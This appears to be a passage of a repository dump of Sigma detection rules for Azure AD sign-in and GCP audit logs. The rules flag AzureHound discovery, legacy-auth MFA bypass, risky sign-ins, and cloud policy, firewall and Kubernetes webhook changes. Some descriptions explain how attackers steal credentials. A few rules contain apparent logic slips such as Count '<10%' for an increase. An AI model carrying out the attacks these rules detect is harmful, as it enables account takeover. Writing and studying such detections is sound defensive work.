"content": "title: Increased Failed Authentications Of Any Type\nid: e1d02b53-c03c-4948-b11d-4d00cca49d03\nstatus: test\ndescription: Detects when sign-ins increased by 10% or greater.\nreferences:\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#monitoring-for-failed-unusual-sign-ins\nauthor: Mark Morowczynski '@markmorow', MikeDuddington, '@dudders1'\ndate: 2022-08-11\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.initial-access\n - attack.defense-evasion\n - attack.t1078\nlogsource:\n product: azure\n service: signinlogs\ndetection:\n selection:\n Status: failure\n Count: \"<10%\"\n condition: selection\nfalsepositives:\n - Unlikely\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/signin_logs/azure_ad_auth_sucess_increase.yml",
"content": "title: Measurable Increase Of Successful Authentications\nid: 67d5f8fc-8325-44e4-8f5f-7c0ac07cb5ae\nstatus: test\ndescription: Detects when successful sign-ins increased by 10% or greater.\nreferences:\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#monitoring-for-successful-unusual-sign-ins\nauthor: Mark Morowczynski '@markmorow', MikeDuddington, '@dudders1', Tim Shelton\ndate: 2022-08-11\nmodified: 2022-08-18\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.initial-access\n - attack.defense-evasion\n - attack.t1078\nlogsource:\n product: azure\n service: signinlogs\ndetection:\n selection:\n Status: Success\n Count: \"<10%\"\n condition: selection\nfalsepositives:\n - Increase of users in the environment\nlevel: low\n"
},
{
"path": "rules/cloud/azure/signin_logs/azure_ad_auth_to_important_apps_using_single_factor_auth.yml",
"content": "title: Authentications To Important Apps Using Single Factor Authentication\nid: f272fb46-25f2-422c-b667-45837994980f\nstatus: test\ndescription: Detect when authentications to important application(s) only required single-factor authentication\nreferences:\n - https://learn.microsoft.com/en-gb/entra/architecture/security-operations-user-accounts\nauthor: MikeDuddington, '@dudders1'\ndate: 2022-07-28\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.defense-evasion\n - attack.initial-access\n - attack.t1078\nlogsource:\n product: azure\n service: signinlogs\ndetection:\n selection:\n Status: 'Success'\n AppId: 'Insert Application ID use OR for multiple'\n AuthenticationRequirement: 'singleFactorAuthentication'\n condition: selection\nfalsepositives:\n - If this was approved by System Administrator.\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/signin_logs/azure_ad_authentications_from_countries_you_do_not_operate_out_of.yml",
"content": "title: Successful Authentications From Countries You Do Not Operate Out Of\nid: 8c944ecb-6970-4541-8496-be554b8e2846\nstatus: test\ndescription: Detect successful authentications from countries you do not operate out of.\nreferences:\n - https://learn.microsoft.com/en-gb/entra/architecture/security-operations-user-accounts\nauthor: MikeDuddington, '@dudders1'\ndate: 2022-07-28\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.defense-evasion\n - attack.initial-access\n - attack.credential-access\n - attack.t1078.004\n - attack.t1110\nlogsource:\n product: azure\n service: signinlogs\ndetection:\n selection:\n Status: 'Success'\n filter:\n Location|contains: ''\n condition: selection and not filter\nfalsepositives:\n - If this was approved by System Administrator.\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/signin_logs/azure_ad_azurehound_discovery.yml",
"content": "title: Discovery Using AzureHound\nid: 35b781cc-1a08-4a5a-80af-42fd7c315c6b\nstatus: test\ndescription: Detects AzureHound (A BloodHound data collector for Microsoft Azure) activity via the default User-Agent that is used during its operation after successful authentication.\nreferences:\n - https://github.com/BloodHoundAD/AzureHound\nauthor: Janantha Marasinghe\ndate: 2022-11-27\ntags:\n - attack.discovery\n - attack.t1087.004\n - attack.t1526\nlogsource:\n product: azure\n service: signinlogs\ndetection:\n selection:\n userAgent|contains: 'azurehound'\n ResultType: 0\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/cloud/azure/signin_logs/azure_ad_device_registration_or_join_without_mfa.yml",
"content": "title: Device Registration or Join Without MFA\nid: 5afa454e-030c-4ab4-9253-a90aa7fcc581\nstatus: test\ndescription: Monitor and alert for device registration or join events where MFA was not performed.\nreferences:\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-devices#device-registrations-and-joins-outside-policy\nauthor: Michael Epping, '@mepples21'\ndate: 2022-06-28\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.initial-access\n - attack.defense-evasion\n - attack.t1078.004\nlogsource:\n product: azure\n service: signinlogs\ndetection:\n selection:\n ResourceDisplayName: 'Device Registration Service'\n conditionalAccessStatus: 'success'\n filter_mfa:\n AuthenticationRequirement: 'multiFactorAuthentication'\n condition: selection and not filter_mfa\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/signin_logs/azure_ad_failed_auth_from_countries_you_do_not_operate_out_of.yml",
"content": "title: Failed Authentications From Countries You Do Not Operate Out Of\nid: 28870ae4-6a13-4616-bd1a-235a7fad7458\nstatus: test\ndescription: Detect failed authentications from countries you do not operate out of.\nreferences:\n - https://learn.microsoft.com/en-gb/entra/architecture/security-operations-user-accounts\nauthor: MikeDuddington, '@dudders1'\ndate: 2022-07-28\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.defense-evasion\n - attack.initial-access\n - attack.credential-access\n - attack.t1078.004\n - attack.t1110\nlogsource:\n product: azure\n service: signinlogs\ndetection:\n selection:\n Status: 'Success'\n selection1:\n Location|contains: ''\n condition: not selection and not selection1\nfalsepositives:\n - If this was approved by System Administrator.\nlevel: low\n"
},
{
"path": "rules/cloud/azure/signin_logs/azure_ad_only_single_factor_auth_required.yml",
"content": "title: Azure AD Only Single Factor Authentication Required\nid: 28eea407-28d7-4e42-b0be-575d5ba60b2c\nstatus: test\ndescription: Detect when users are authenticating without MFA being required.\nreferences:\n - https://learn.microsoft.com/en-gb/entra/architecture/security-operations-user-accounts\nauthor: MikeDuddington, '@dudders1'\ndate: 2022-07-27\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.defense-evasion\n - attack.initial-access\n - attack.credential-access\n - attack.t1078.004\n - attack.t1556.006\nlogsource:\n product: azure\n service: signinlogs\ndetection:\n selection:\n Status: 'Success'\n AuthenticationRequirement: 'singleFactorAuthentication'\n condition: selection\nfalsepositives:\n - If this was approved by System Administrator.\nlevel: low\n"
},
{
"path": "rules/cloud/azure/signin_logs/azure_ad_risky_sign_ins_with_singlefactorauth_from_unknown_devices.yml",
"content": "title: Suspicious SignIns From A Non Registered Device\nid: 572b12d4-9062-11ed-a1eb-0242ac120002\nstatus: test\ndescription: Detects risky authentication from a non AD registered device without MFA being required.\nreferences:\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-devices#non-compliant-device-sign-in\nauthor: Harjot Singh, '@cyb3rjy0t'\ndate: 2023-01-10\nmodified: 2025-07-02\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.initial-access\n - attack.defense-evasion\n - attack.t1078\nlogsource:\n product: azure\n service: signinlogs\ndetection:\n selection_main:\n Status: 'Success'\n AuthenticationRequirement: 'singleFactorAuthentication'\n RiskState: 'atRisk'\n selection_empty1:\n DeviceDetail.trusttype: ''\n selection_empty2:\n DeviceDetail.trusttype: null\n condition: selection_main and 1 of selection_empty*\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/cloud/azure/signin_logs/azure_ad_sign_ins_from_noncompliant_devices.yml",
"content": "title: Sign-ins from Non-Compliant Devices\nid: 4f77e1d7-3982-4ee0-8489-abf2d6b75284\nstatus: test\ndescription: Monitor and alert for sign-ins where the device was non-compliant.\nreferences:\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-devices#non-compliant-device-sign-in\nauthor: Michael Epping, '@mepples21'\ndate: 2022-06-28\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.initial-access\n - attack.defense-evasion\n - attack.t1078.004\nlogsource:\n product: azure\n service: signinlogs\ndetection:\n selection:\n DeviceDetail.isCompliant: 'false'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/cloud/azure/signin_logs/azure_ad_sign_ins_from_unknown_devices.yml",
"content": "title: Sign-ins by Unknown Devices\nid: 4d136857-6a1a-432a-82fc-5dd497ee5e7c\nstatus: test\ndescription: Monitor and alert for Sign-ins by unknown devices from non-Trusted locations.\nreferences:\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-devices#non-compliant-device-sign-in\nauthor: Michael Epping, '@mepples21'\ndate: 2022-06-28\nmodified: 2022-10-05\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.initial-access\n - attack.defense-evasion\n - attack.t1078.004\nlogsource:\n product: azure\n service: signinlogs\ndetection:\n selection:\n AuthenticationRequirement: singleFactorAuthentication\n ResultType: 0\n NetworkLocationDetails: '[]'\n DeviceDetail.deviceId: ''\n condition: selection\nfalsepositives:\n - Unknown\nlevel: low\n"
},
{
"path": "rules/cloud/azure/signin_logs/azure_ad_suspicious_signin_bypassing_mfa.yml",
"content": "title: Potential MFA Bypass Using Legacy Client Authentication\nid: 53bb4f7f-48a8-4475-ac30-5a82ddfdf6fc\nstatus: test\ndescription: Detects successful authentication from potential clients using legacy authentication via user agent strings. This could be a sign of MFA bypass using a password spray attack.\nreferences:\n - https://web.archive.org/web/20230217071802/https://blooteem.com/march-2022\n - https://www.microsoft.com/en-us/security/blog/2021/10/26/protect-your-business-from-password-sprays-with-microsoft-dart-recommendations/\nauthor: Harjot Singh, '@cyb3rjy0t'\ndate: 2023-03-20\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.defense-evasion\n - attack.initial-access\n - attack.credential-access\n - attack.t1078.004\n - attack.t1110\nlogsource:\n product: azure\n service: signinlogs\ndetection:\n selection:\n Status: 'Success'\n userAgent|contains:\n - 'BAV2ROPC'\n - 'CBAinPROD'\n - 'CBAinTAR'\n condition: selection\nfalsepositives:\n - Known Legacy Accounts\nlevel: high\n"
},
{
"path": "rules/cloud/azure/signin_logs/azure_app_device_code_authentication.yml",
"content": "title: Application Using Device Code Authentication Flow\nid: 248649b7-d64f-46f0-9fb2-a52774166fb5\nstatus: test\ndescription: |\n Device code flow is an OAuth 2.0 protocol flow specifically for input constrained devices and is not used in all environments.\n If this type of flow is seen in the environment and not being used in an input constrained device scenario, further investigation is warranted.\n This can be a misconfigured application or potentially something malicious.\nreferences:\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-applications#application-authentication-flows\nauthor: Mark Morowczynski '@markmorow', Bailey Bercik '@baileybercik'\ndate: 2022-06-01\ntags:\n - attack.t1078\n - attack.defense-evasion\n - attack.persistence\n - attack.privilege-escalation\n - attack.initial-access\nlogsource:\n product: azure\n service: signinlogs\ndetection:\n selection:\n properties.message: Device Code\n condition: selection\nfalsepositives:\n - Applications that are input constrained will need to use device code flow and are valid authentications.\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/signin_logs/azure_app_ropc_authentication.yml",
"content": "title: Applications That Are Using ROPC Authentication Flow\nid: 55695bc0-c8cf-461f-a379-2535f563c854\nstatus: test\ndescription: |\n Resource owner password credentials (ROPC) should be avoided if at all possible as this requires the user to expose their current password credentials to the application directly.\n The application then uses those credentials to authenticate the user against the identity provider.\nreferences:\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-applications#application-authentication-flows\nauthor: Mark Morowczynski '@markmorow', Bailey Bercik '@baileybercik'\ndate: 2022-06-01\ntags:\n - attack.t1078\n - attack.defense-evasion\n - attack.persistence\n - attack.privilege-escalation\n - attack.initial-access\nlogsource:\n product: azure\n service: signinlogs\ndetection:\n selection:\n properties.message: ROPC\n condition: selection\nfalsepositives:\n - Applications that are being used as part of automated testing or a legacy application that cannot use any other modern authentication flow\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/signin_logs/azure_blocked_account_attempt.yml",
"content": "title: Account Disabled or Blocked for Sign in Attempts\nid: 4afac85c-224a-4dd7-b1af-8da40e1c60bd\nstatus: test\ndescription: Detects when an account is disabled or blocked for sign in but tried to log in\nreferences:\n - https://learn.microsoft.com/en-gb/entra/architecture/security-operations-privileged-accounts\nauthor: Yochana Henderson, '@Yochana-H'\ndate: 2022-06-17\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.defense-evasion\n - attack.initial-access\n - attack.t1078.004\nlogsource:\n product: azure\n service: signinlogs\ndetection:\n selection:\n ResultType: 50057\n ResultDescription: Failure\n condition: selection\nfalsepositives:\n - Account disabled or blocked in error\n - Automation account has been blocked or disabled\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/signin_logs/azure_conditional_access_failure.yml",
"content": "title: Sign-in Failure Due to Conditional Access Requirements Not Met\nid: b4a6d707-9430-4f5f-af68-0337f52d5c42\nstatus: test\ndescription: Define a baseline threshold for failed sign-ins due to Conditional Access failures\nreferences:\n - https://learn.microsoft.com/en-gb/entra/architecture/security-operations-privileged-accounts\nauthor: Yochana Henderson, '@Yochana-H'\ndate: 2022-06-01\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.defense-evasion\n - attack.initial-access\n - attack.credential-access\n - attack.t1110\n - attack.t1078.004\nlogsource:\n product: azure\n service: signinlogs\ndetection:\n selection:\n ResultType: 53003\n Resultdescription: Blocked by Conditional Access\n condition: selection\nfalsepositives:\n - Service Account misconfigured\n - Misconfigured Systems\n - Vulnerability Scanners\nlevel: high\n"
},
{
"path": "rules/cloud/azure/signin_logs/azure_legacy_authentication_protocols.yml",
"content": "title: Use of Legacy Authentication Protocols\nid: 60f6535a-760f-42a9-be3f-c9a0a025906e\nstatus: test\ndescription: Alert on when legacy authentication has been used on an account\nreferences:\n - https://learn.microsoft.com/en-gb/entra/architecture/security-operations-privileged-accounts\nauthor: Yochana Henderson, '@Yochana-H'\ndate: 2022-06-17\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.defense-evasion\n - attack.initial-access\n - attack.credential-access\n - attack.t1078.004\n - attack.t1110\nlogsource:\n product: azure\n service: signinlogs\ndetection:\n selection:\n ActivityDetails: Sign-ins\n ClientApp:\n - Other client\n - IMAP\n - POP3\n - MAPI\n - SMTP\n - Exchange ActiveSync\n - Exchange Web Services\n Username: 'UPN'\n condition: selection\nfalsepositives:\n - User has been put in acception group so they can use legacy authentication\nlevel: high\n"
},
{
"path": "rules/cloud/azure/signin_logs/azure_login_to_disabled_account.yml",
"content": "title: Login to Disabled Account\nid: 908655e0-25cf-4ae1-b775-1c8ce9cf43d8\nstatus: test\ndescription: Detect failed attempts to sign in to disabled accounts.\nreferences:\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-privileged-accounts\nauthor: AlertIQ\ndate: 2021-10-10\nmodified: 2022-12-25\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.defense-evasion\n - attack.initial-access\n - attack.t1078.004\nlogsource:\n product: azure\n service: signinlogs\ndetection:\n selection:\n ResultType: 50057\n ResultDescription: 'User account is disabled. The account has been disabled by an administrator.'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/signin_logs/azure_mfa_denies.yml",
"content": "title: Multifactor Authentication Denied\nid: e40f4962-b02b-4192-9bfe-245f7ece1f99\nstatus: test\ndescription: User has indicated they haven't instigated the MFA prompt and could indicate an attacker has the password for the account.\nreferences:\n - https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/\nauthor: AlertIQ\ndate: 2022-03-24\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.defense-evasion\n - attack.initial-access\n - attack.credential-access\n - attack.t1078.004\n - attack.t1110\n - attack.t1621\nlogsource:\n product: azure\n service: signinlogs\ndetection:\n selection:\n AuthenticationRequirement: 'multiFactorAuthentication'\n Status|contains: 'MFA Denied'\n condition: selection\nfalsepositives:\n - Users actually login but miss-click into the Deny button when MFA prompt.\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/signin_logs/azure_mfa_interrupted.yml",
"content": "title: Multifactor Authentication Interrupted\nid: 5496ff55-42ec-4369-81cb-00f417029e25\nstatus: test\ndescription: Identifies user login with multifactor authentication failures, which might be an indication an attacker has the password for the account but can't pass the MFA challenge.\nreferences:\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-privileged-accounts\nauthor: AlertIQ\ndate: 2021-10-10\nmodified: 2022-12-18\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.defense-evasion\n - attack.initial-access\n - attack.credential-access\n - attack.t1078.004\n - attack.t1110\n - attack.t1621\nlogsource:\n product: azure\n service: signinlogs\ndetection:\n selection_50074:\n ResultType: 50074\n ResultDescription|contains: 'Strong Auth required'\n selection_500121:\n ResultType: 500121\n ResultDescription|contains: 'Authentication failed during strong authentication request'\n condition: 1 of selection_*\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/signin_logs/azure_unusual_authentication_interruption.yml",
"content": "title: Azure Unusual Authentication Interruption\nid: 8366030e-7216-476b-9927-271d79f13cf3\nstatus: test\ndescription: Detects when there is a interruption in the authentication process.\nreferences:\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-privileged-accounts\nauthor: Austin Songer @austinsonger\ndate: 2021-11-26\nmodified: 2022-12-18\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.defense-evasion\n - attack.initial-access\n - attack.t1078\nlogsource:\n product: azure\n service: signinlogs\ndetection:\n selection_50097:\n ResultType: 50097\n ResultDescription: 'Device authentication is required'\n selection_50155:\n ResultType: 50155\n ResultDescription: 'DeviceAuthenticationFailed'\n selection_50158:\n ResultType: 50158\n ResultDescription: 'ExternalSecurityChallenge - External security challenge was not satisfied'\n condition: 1 of selection_*\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/signin_logs/azure_user_login_blocked_by_conditional_access.yml",
"content": "title: User Access Blocked by Azure Conditional Access\nid: 9a60e676-26ac-44c3-814b-0c2a8b977adf\nstatus: test\ndescription: |\n Detect access has been blocked by Conditional Access policies.\n The access policy does not allow token issuance which might be sights≈ of unauthorizeed login to valid accounts.\nreferences:\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-privileged-accounts\nauthor: AlertIQ\ndate: 2021-10-10\nmodified: 2022-12-25\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.defense-evasion\n - attack.credential-access\n - attack.initial-access\n - attack.t1110\n - attack.t1078.004\nlogsource:\n product: azure\n service: signinlogs\ndetection:\n selection:\n ResultType: 53003\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/signin_logs/azure_users_authenticating_to_other_azure_ad_tenants.yml",
"content": "title: Users Authenticating To Other Azure AD Tenants\nid: 5f521e4b-0105-4b72-845b-2198a54487b9\nstatus: test\ndescription: Detect when users in your Azure AD tenant are authenticating to other Azure AD Tenants.\nreferences:\n - https://learn.microsoft.com/en-gb/entra/architecture/security-operations-user-accounts#monitoring-external-user-sign-ins\nauthor: MikeDuddington, '@dudders1'\ndate: 2022-06-30\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.defense-evasion\n - attack.initial-access\n - attack.t1078.004\nlogsource:\n product: azure\n service: signinlogs\ndetection:\n selection:\n Status: 'Success'\n HomeTenantId: 'HomeTenantID'\n filter:\n ResourceTenantId|contains: 'HomeTenantID'\n condition: selection and not filter\nfalsepositives:\n - If this was approved by System Administrator.\nlevel: medium\n"
},
{
"path": "rules/cloud/gcp/audit/gcp_access_policy_deleted.yml",
"content": "title: GCP Access Policy Deleted\nid: 32438676-1dba-4ac7-bf69-b86cba995e05\nstatus: test\ndescription: |\n Detects when an access policy that is applied to a GCP cloud resource is deleted.\n An adversary would be able to remove access policies to gain access to a GCP cloud resource.\nreferences:\n - https://cloud.google.com/access-context-manager/docs/audit-logging\n - https://cloud.google.com/logging/docs/audit/understanding-audit-logs\n - https://cloud.google.com/logging/docs/reference/audit/auditlog/rest/Shared.Types/AuditLog\nauthor: Bryan Lim\ndate: 2024-01-12\ntags:\n - attack.persistence\n - attack.privilege-escalation\n - attack.t1098\nlogsource:\n product: gcp\n service: gcp.audit\ndetection:\n selection:\n data.protoPayload.authorizationInfo.permission:\n - 'accesscontextmanager.accessPolicies.delete'\n - 'accesscontextmanager.accessPolicies.accessLevels.delete'\n - 'accesscontextmanager.accessPolicies.accessZones.delete'\n - 'accesscontextmanager.accessPolicies.authorizedOrgsDescs.delete'\n data.protoPayload.authorizationInfo.granted: 'true'\n data.protoPayload.serviceName: 'accesscontextmanager.googleapis.com'\n condition: selection\nfalsepositives:\n - Legitimate administrative activities\nlevel: medium\n"
},
{
"path": "rules/cloud/gcp/audit/gcp_breakglass_container_workload_deployed.yml",
"content": "title: GCP Break-glass Container Workload Deployed\nid: 76737c19-66ee-4c07-b65a-a03301d1573d\nstatus: test\ndescription: |\n Detects the deployment of workloads that are deployed by using the break-glass flag to override Binary Authorization controls.\nreferences:\n - https://cloud.google.com/binary-authorization\nauthor: Bryan Lim\ndate: 2024-01-12\ntags:\n - attack.privilege-escalation\n - attack.defense-evasion\n - attack.t1548\nlogsource:\n product: gcp\n service: gcp.audit\ndetection:\n selection:\n data.protoPayload.resource.type: 'k8s_cluster'\n data.protoPayload.logName:\n - 'cloudaudit.googleapis.com/activity'\n - 'cloudaudit.googleapis.com%2Factivity'\n data.protoPayload.methodName: 'io.k8s.core.v1.pods.create'\n keywords:\n - 'image-policy.k8s.io/break-glass'\n condition: selection and keywords\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/cloud/gcp/audit/gcp_bucket_enumeration.yml",
"content": "title: Google Cloud Storage Buckets Enumeration\nid: e2feb918-4e77-4608-9697-990a1aaf74c3\nstatus: test\ndescription: Detects when storage bucket is enumerated in Google Cloud.\nreferences:\n - https://cloud.google.com/storage/docs/json_api/v1/buckets\nauthor: Austin Songer @austinsonger\ndate: 2021-08-14\nmodified: 2022-10-09\ntags:\n - attack.discovery\nlogsource:\n product: gcp\n service: gcp.audit\ndetection:\n selection:\n gcp.audit.method_name:\n - storage.buckets.list\n - storage.buckets.listChannels\n condition: selection\nfalsepositives:\n - Storage Buckets being enumerated may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.\n - Storage Buckets enumerated from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\nlevel: low\n"
},
{
"path": "rules/cloud/gcp/audit/gcp_bucket_modified_or_deleted.yml",
"content": "title: Google Cloud Storage Buckets Modified or Deleted\nid: 4d9f2ee2-c903-48ab-b9c1-8c0f474913d0\nstatus: test\ndescription: Detects when storage bucket is modified or deleted in Google Cloud.\nreferences:\n - https://cloud.google.com/storage/docs/json_api/v1/buckets\nauthor: Austin Songer @austinsonger\ndate: 2021-08-14\nmodified: 2022-10-09\ntags:\n - attack.impact\nlogsource:\n product: gcp\n service: gcp.audit\ndetection:\n selection:\n gcp.audit.method_name:\n - storage.buckets.delete\n - storage.buckets.insert\n - storage.buckets.update\n - storage.buckets.patch\n condition: selection\nfalsepositives:\n - Storage Buckets being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.\n - Storage Buckets modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\nlevel: medium\n"
},
{
"path": "rules/cloud/gcp/audit/gcp_dlp_re_identifies_sensitive_information.yml",
"content": "title: Google Cloud Re-identifies Sensitive Information\nid: 234f9f48-904b-4736-a34c-55d23919e4b7\nstatus: test\ndescription: Identifies when sensitive information is re-identified in google Cloud.\nreferences:\n - https://cloud.google.com/dlp/docs/reference/rest/v2/projects.content/reidentify\nauthor: Austin Songer @austinsonger\ndate: 2021-08-15\nmodified: 2022-10-09\ntags:\n - attack.impact\n - attack.t1565\nlogsource:\n product: gcp\n service: gcp.audit\ndetection:\n selection:\n gcp.audit.method_name: projects.content.reidentify\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/cloud/gcp/audit/gcp_dns_zone_modified_or_deleted.yml",
"content": "title: Google Cloud DNS Zone Modified or Deleted\nid: 28268a8f-191f-4c17-85b2-f5aa4fa829c3\nstatus: test\ndescription: Identifies when a DNS Zone is modified or deleted in Google Cloud.\nreferences:\n - https://cloud.google.com/dns/docs/reference/v1/managedZones\nauthor: Austin Songer @austinsonger\ndate: 2021-08-15\nmodified: 2022-10-09\ntags:\n - attack.impact\nlogsource:\n product: gcp\n service: gcp.audit\ndetection:\n selection:\n gcp.audit.method_name:\n - Dns.ManagedZones.Delete\n - Dns.ManagedZones.Update\n - Dns.ManagedZones.Patch\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/cloud/gcp/audit/gcp_firewall_rule_modified_or_deleted.yml",
"content": "title: Google Cloud Firewall Modified or Deleted\nid: fe513c69-734c-4d4a-8548-ac5f609be82b\nstatus: test\ndescription: Detects when a firewall rule is modified or deleted in Google Cloud Platform (GCP).\nreferences:\n - https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging\n - https://developers.google.com/resources/api-libraries/documentation/compute/v1/java/latest/com/google/api/services/compute/Compute.Firewalls.html\nauthor: Austin Songer @austinsonger\ndate: 2021-08-13\nmodified: 2022-10-09\ntags:\n - attack.defense-evasion\n - attack.t1562\nlogsource:\n product: gcp\n service: gcp.audit\ndetection:\n selection:\n gcp.audit.method_name:\n - v*.Compute.Firewalls.Delete\n - v*.Compute.Firewalls.Patch\n - v*.Compute.Firewalls.Update\n - v*.Compute.Firewalls.Insert\n condition: selection\nfalsepositives:\n - Firewall rules being modified or deleted may be performed by a system administrator. Verify that the firewall configuration change was expected.\n - Exceptions can be added to this rule to filter expected behavior.\nlevel: medium\n"
},
{
"path": "rules/cloud/gcp/audit/gcp_full_network_traffic_packet_capture.yml",
"content": "title: Google Full Network Traffic Packet Capture\nid: 980a7598-1e7f-4962-9372-2d754c930d0e\nstatus: test\ndescription: Identifies potential full network packet capture in gcp. This feature can potentially be abused to read sensitive data from unencrypted internal traffic.\nreferences:\n - https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging\n - https://developers.google.com/resources/api-libraries/documentation/compute/v1/java/latest/com/google/api/services/compute/Compute.PacketMirrorings.html\nauthor: Austin Songer @austinsonger\ndate: 2021-08-13\nmodified: 2022-10-09\ntags:\n - attack.collection\n - attack.t1074\nlogsource:\n product: gcp\n service: gcp.audit\ndetection:\n selection:\n gcp.audit.method_name:\n - v*.Compute.PacketMirrorings.Get\n - v*.Compute.PacketMirrorings.Delete\n - v*.Compute.PacketMirrorings.Insert\n - v*.Compute.PacketMirrorings.Patch\n - v*.Compute.PacketMirrorings.List\n - v*.Compute.PacketMirrorings.aggregatedList\n condition: selection\nfalsepositives:\n - Full Network Packet Capture may be done by a system or network administrator.\n - If known behavior is causing false positives, it can be exempted from the rule.\nlevel: medium\n"
},
{
"path": "rules/cloud/gcp/audit/gcp_kubernetes_admission_controller.yml",
"content": "title: Google Cloud Kubernetes Admission Controller\nid: 6ad91e31-53df-4826-bd27-0166171c8040\nstatus: test\ndescription: |\n Identifies when an admission controller is executed in GCP Kubernetes.\n A Kubernetes Admission controller intercepts, and possibly modifies, requests to the Kubernetes API server.\n The behavior of this admission controller is determined by an admission webhook (MutatingAdmissionWebhook or ValidatingAdmissionWebhook) that the user deploys in the cluster.\n An adversary can use such webhooks as the MutatingAdmissionWebhook for obtaining persistence in the cluster.\n For example, attackers can intercept and modify the pod creation operations in the cluster and add their malicious container to every created pod. An adversary can use the webhook ValidatingAdmissionWebhook, which could be used to obtain access credentials.\n An adversary could use the webhook to intercept the requests to the API server, record secrets, and other sensitive information.\nreferences:\n - https://cloud.google.com/kubernetes-engine/docs\nauthor: Austin Songer @austinsonger\ndate: 2021-11-25\nmodified: 2022-12-18\ntags:\n - attack.privilege-escalation\n - attack.initial-access\n - attack.defense-evasion\n - attack.persistence\n - attack.t1078\n - attack.credential-access\n - attack.t1552\n - attack.t1552.007\nlogsource:\n product: gcp\n service: gcp.audit\ndetection:\n selection:\n gcp.audit.method_name|startswith: 'admissionregistration.k8s.io.v'\n gcp.audit.method_name|contains:\n - '.mutatingwebhookconfigurations.'\n - '.validatingwebhookconfigurations.'\n gcp.audit.method_name|endswith:\n - 'create'\n - 'patch'\n - 'replace'\n condition: selection\nfalsepositives:\n - Google Cloud Kubernetes Admission Controller may be done by a system administrator.\n - If known behavior is causing false positives, it can be exempted from the rule.\nlevel: medium\n"
},
{
"path": "rules/cloud/gcp/audit/gcp_kubernetes_cronjob.yml",
"content": "title: Google Cloud Kubernetes CronJob\nid: cd3a808c-c7b7-4c50-a2f3-f4cfcd436435\nstatus: test\ndescription: |\n Identifies when a Google Cloud Kubernetes CronJob runs in Azure Cloud. Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate.\n Kubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs.\n An Adversary may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.\nreferences:\n - https://cloud.google.com/kubernetes-engine/docs\n - https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/\n - https://kubernetes.io/docs/concepts/workloads/controllers/job/\nauthor: Austin Songer @austinsonger\ndate: 2021-11-22\nmodified: 2022-12-25\ntags:\n - attack.persistence\n - attack.privilege-escalation\n - attack.execution\nlogsource:\n product: gcp\n service: gcp.audit\ndetection:\n selection:\n gcp.audit.method_name:\n - io.k8s.api.batch.v*.Job\n - io.k8s.api.batch.v*.CronJob\n condition: selection\nfalsepositives:\n - Google Cloud Kubernetes CronJob/Job may be done by a system administrator.\n - If known behavior is causing false positives, it can be exempted from the rule.\nlevel: medium\n"
},
{
